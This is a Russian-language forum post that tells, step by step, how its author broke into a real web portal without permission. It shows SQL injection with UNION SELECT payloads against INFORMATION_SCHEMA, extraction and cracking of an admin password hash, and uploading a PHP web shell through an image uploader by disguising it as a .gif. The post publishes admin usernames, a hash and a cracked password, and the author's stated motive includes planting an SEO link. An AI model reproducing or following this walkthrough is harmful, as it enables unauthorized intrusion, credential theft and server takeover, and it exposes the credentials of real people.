SQL injection и заливка шелла (на примере)

Предыдущая тема Следующая тема Перейти вниз

SQL injection и заливка шелла (на примере)

Сообщение  Марсель в 02.08.12 1:29

Доброго времени суток, читатель!

Итак, вот моя предыстория.
Чуть больше чем пол года назад, я напоролся на один портал, где в URLe заметил запрос вида "...modules.php?name=Mediacatalog&pa=Newsreliz&catnewid=3".
Даже не надеясь на чудо, в конец урла я подставил одинарную кавычку '.
И что мы видим? А видим мы ошибочку MySQL:
1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY p.pid DESC LIMIT 0, 20' at line 12

Круто!!! Значит уязвимость уже имеет место быть . Далее я просто, и так же как описанно во многих статьях по SQL injection упёр пароль админа. Ничего портить не стал. Написал письмо админу, пообщался с ним, получил благодарность и обещание поставить банер одного сайта на его...
И всё... Ни банера, ни пароля админа. "Ну ладно", подумал я, "может быть забыл просто..."

С тех пор прошло много времени, и вдруг я снова напоролся на этот сайт. Меня отпугнул вид скачащих по всему экрану банеров, да не просто банеров, а реклама всяких казино и голых тётенек. Эх... Наверное денег приносит не мало такая реклама? Раз админ решил её показывать.
Стало интересно, пофиксил ли админ проблему? Ану ка попробуем:

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Опачки!!! И что мы видим?
1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY p.pid DESC LIMIT 0, 20' at line 12
Ошибка не пофикшена

И тут я решил довести своё дело до конца, проникнуть в админку и самому поставить ссылку на нужный сайт (PR у emultrix не малый, ссылка на сайт подняла бы его посещаимость).

Теперь заканчиваем предисловие и приступаем не посредственно к взлому!

1. Убедимся что уязвимость действительно существует, попробуем выполнить простую арифметическую операцию. Не забывайте ставить знак комментария в конце URLа, наврядли он на что то повлияет, но так красивше:
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

И что мы видим? А видим мы результат этого запроса
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

Апупенно 4-1=3, всё правильно!

2. Теперь давайте подберём колличество полей, это нам нужно для того, что бы вывести нужную нам информацию из БД. Для подбора колличества полей можно использовать конструкцию типа select 1,2,3,4,5... Нам будут валисться ошибки до тех пор, пока мы не введём правильное колличество полей. Но это очень неудобно в том случае, если полей более 20-ти.
Я исспользую выражение order by...
Сейчас вы увидите как это работает, действуем методом исключения:
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Информация показана верно - значит полей больше 10-ти или 10.
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Ошибка, значит полей меньше 60-ти.

Продалжаем в том же духе:
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Обработалось правильно
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
ошибка
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Правильно
Значит полей у нас от 40 до 50, продолжаем:
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Правильно
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Правильно!!! А на 50 выдавалась ошибка, значит у нас 49 полей.
Представляете что было бы если бы вы перебирали все 49 значений в ручную. Вашу работу закончили бы ваши внуки

Если вам не понятна работа этой системы, сейчас нарисую:
| ////
1 45 49 50

Сначала мы определяем граничные значения, мы взяли 10 в качестве начального значения и 50 в качестве конечного, потом стали постепенно отсекать:
1-50
30-50 (оба значения были верны, отсюдого делаем вывод что полей у нас от 30-ти до 50)
и.тд

3. С полями определились, давайте посмотрим, выводится ли введённая нами информация. Проскролим страницу ниже и видим что то подобное этому:
6 1
7 2
8 3
9 4
0 5
2 9

Что же это такое?! А это, дорогие друзья, те циферки что мы вводили в урл!!!
Значит информация всё же выводится. Прелестно!

4. Я исспользовал третье поле для вывода информации (потом вам прийдётся комбинировать поля, для того что бы не выводит информацию по очереди, а получить её сразу). Для того что бы у нас была возможность выполнять запросы, мы должны исспользовать команду union, она объединяет запросы. После union уже непосредственно выполняем запрос.

Для того что бы вам было понятно как мы обращаемся к БД, я приведу конструкцию:

SELECT something FROM anything WHERE something_else = anything_known/*
ВЫБРАТЬ что-нибудь ИЗ чего-нибудь ГДЕ что-нибудь_другое = чему-нибудь_ивестному_нам/*

Давайте узнаем версию mysql, которая установлена на сервере (команда version() ):

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49/*

Пролистаем страницу вниз, и видим что на месте, где у нас показывалась тройка, теперь красуется - 5.0.41-community
Классно! Версия MySQL 5.0.41, а в версиях MySQL после 5-й есть таблица INFORMATION_CHEMA. Расскажу вкратце про неё:
Эта таблица, где записаны все имена таблиц в БД и их полей, а значит нам теперь не нужно подбирать имена таблиц и колонок в них, теперь мы можем просто посмотреть их имена. А делается это таким образом:
- Узнаём имена таблиц. Используем колонку table_name из таблицы TABLES в базе данных INFORMATION_SCHEMA:

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41, 42,43,44,45,46,47,48,49+from+INFORMATION_SCHEMA.TABLES/*

Пролистаем страницу вниз, и видим что появилось достаточно много новых записей, на том месте где раньше была тройка, во всех записях стоят имена таблиц.


-Узнаём имена колонок из интересующей нас таблицыНам нужен доступ к админке, значит смотрим таблицу админов "spnuke_admins". Используем колонку column_name из таблицы COLUMNS в базе данных INFORMATION_SCHEMA, где имя таблицы spnuke_admins:

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48, 49+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=char(115,112,110,117,107,101,95,97,100,109,105,110,115)/*

Пролистаем страницу ниже и видим имена таблиц:
admins_login
admins_key_name
admins_email
admins_password

Интересующие нас таблицы:
admins_login и admins_password

У вас наверняка возник вопрос, что это такое в урле - char(115,112,110,117,107,101,95,97,100,109,105,110,115).
Это spnuke_admins, но только перекодированое в номера символов из таблицы ASCII кодов (http://ascii.org.ru/).
Дело в том, что мы вынуждены после запроса "where+table_name=" поставить одинарные кавычки, а в них уже вписать spnuke_admins. Но после того как мы пошлём на сервер запрос: where+table_name='spnuke_admins', а он в свою очередь пошлёт далеко-далеко. А избежать этого мы можем оператором char().

Надеюсь вы разобрались в этом, так что продолжаем.

5. Теперь приступаем к извлечению сладостей . Узнаем имена админов. Используем колонку admins_login из таблицы spnuke_admins:

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] 13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41, 42,43,44,45,46,47,48,49+from+spnuke_admins/*

Листаем страницу вниз и видим логины админов этого сайта:
# Admin
# Ferz
# ewgenij
# pitbul
# Duschmann
# Sako
# stasm
# roman
# ekctpa
# stinker
# -=TaNaToS=-
# avanes
# -®️=TriToN=®️-

6. Теперь узнаем их пароли. Помните я вам говорил о том что вам прийдётся комбинировать запросы? Сейчас именно тот случай. Мы будем исспользовать 3-е и 37-е поля. Так пароль юзера будет показываться напротив логина:
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] 14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,admins_password,38,39,40,41,42,43,44,45,46,47,48,49+from+spnuke_admins/*

Опять пролистывам страницу и видим хеш паролей напротив логинов юзеров:

# Sako 91a7e942c18741ebb9458243a7bd028b


Дело в том что MySQL не хранит пароли пользователей в открытом виде. Он их шифрует в MD5 хеш. Расшифровать MD5 код нельзя, но вот забрутфорсить или подобрать код по Rainbow Tables - это можно . Для быстрого подбора я исспользую програмульку "Multi_MD5_Online_Hash_Cracker" [Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
Программа использует online rainbow tables. Паролей в них не очень много, но зато не нужно годами брутфорсить пароли.

Итак вот результат подбора паролей к шешам:
# Sako - 2099141

Остальные пароли не интересны . Так как у этих админов урезанные прова. А вот у юзера Sako, теже прова что и у пользователя Admin.

7. Итак, момент истины!!! Логинимся в систему.

[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]
login - sako
password - 2099141

Урра!!! Залогинились! Я админ этого сайта, зашибись!
Но потом я подумал: "Ну поимел права админа... И что? Ведь и раньше мне удавалось достичь подобного, на других сайтах. Но ведь хочется большего!".
Тут я решил залить php шел на сервер, тогда у меня будет доступ не только к сайту, но и к файлам самого сайта (тоесть к исходникам)! Это уже интересно.

После этого я долго искал, как же мне залить этот шел на сервак. Ничего не мог найти, из форм заливки файлов я нашёл только загрузчик картинок.

С чем не шутят... Попробовал залить в него php файл с шелом. В следствии чего получил матюк, мол, нехрена нам всякий мусор подсовывать, давай картинки!

Мучался мучался и наконец домучался, а в друг программисты сделали только проверку на название файла?

8. Давайте припишем к нашему шелу расширение gif (shell.php.gif).

9. Заливаем полученный файл c помощью формы загрузки картинок. Ух ты залился! Здорово, но толку от этого? Расширение поменяли, теперь не запустится наверное... Но попробовать стоит..
10. После заливки файла мы получили ссылку на него, теперь попробуем его открыть:
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку]

УРА! УРА! УРА!
Шел нормально открылся!!!
Теперь мы можем делать всё что угодно, можем запрятать свой шел подальше, можем переписать форму регистрации и получать логины и пароли юзеров при их регистрации, можно даже стырить базу данных форума. Юзеров там не меряно, а это емеил адреса и номера ICQ - почти конфиденциальная информация. Пароли захешены с солью, фокус с онлайн подборщиками не пройдёт, можно забрутфорсить, но я не маньяк.

Что же я решил сделать... Напишу ещё раз админу, пускай фиксит или ищет того кто зафиксит.
А я напишу статейку и сниму видео. Читайте и смотрите в радость


С Уважением.
4n6}{4|{4

Если возникнут вопросы, пишите в асю, с удовольствием помогу чем смогу.
ICQ - 8790249

Линка на видео описываемого взлома (видео, коротенькое описание и расширенное описание):
[Вы должны быть зарегистрированы и подключены, чтобы видеть эту ссылку] - (10mb)
avatar
Марсель
Разработчик

BFM : 55

http://bahh.forumei.net

Вернуться к началу Перейти вниз

Предыдущая тема Следующая тема Вернуться к началу


 
Права доступа к этому форуму:
Вы не можете отвечать на сообщения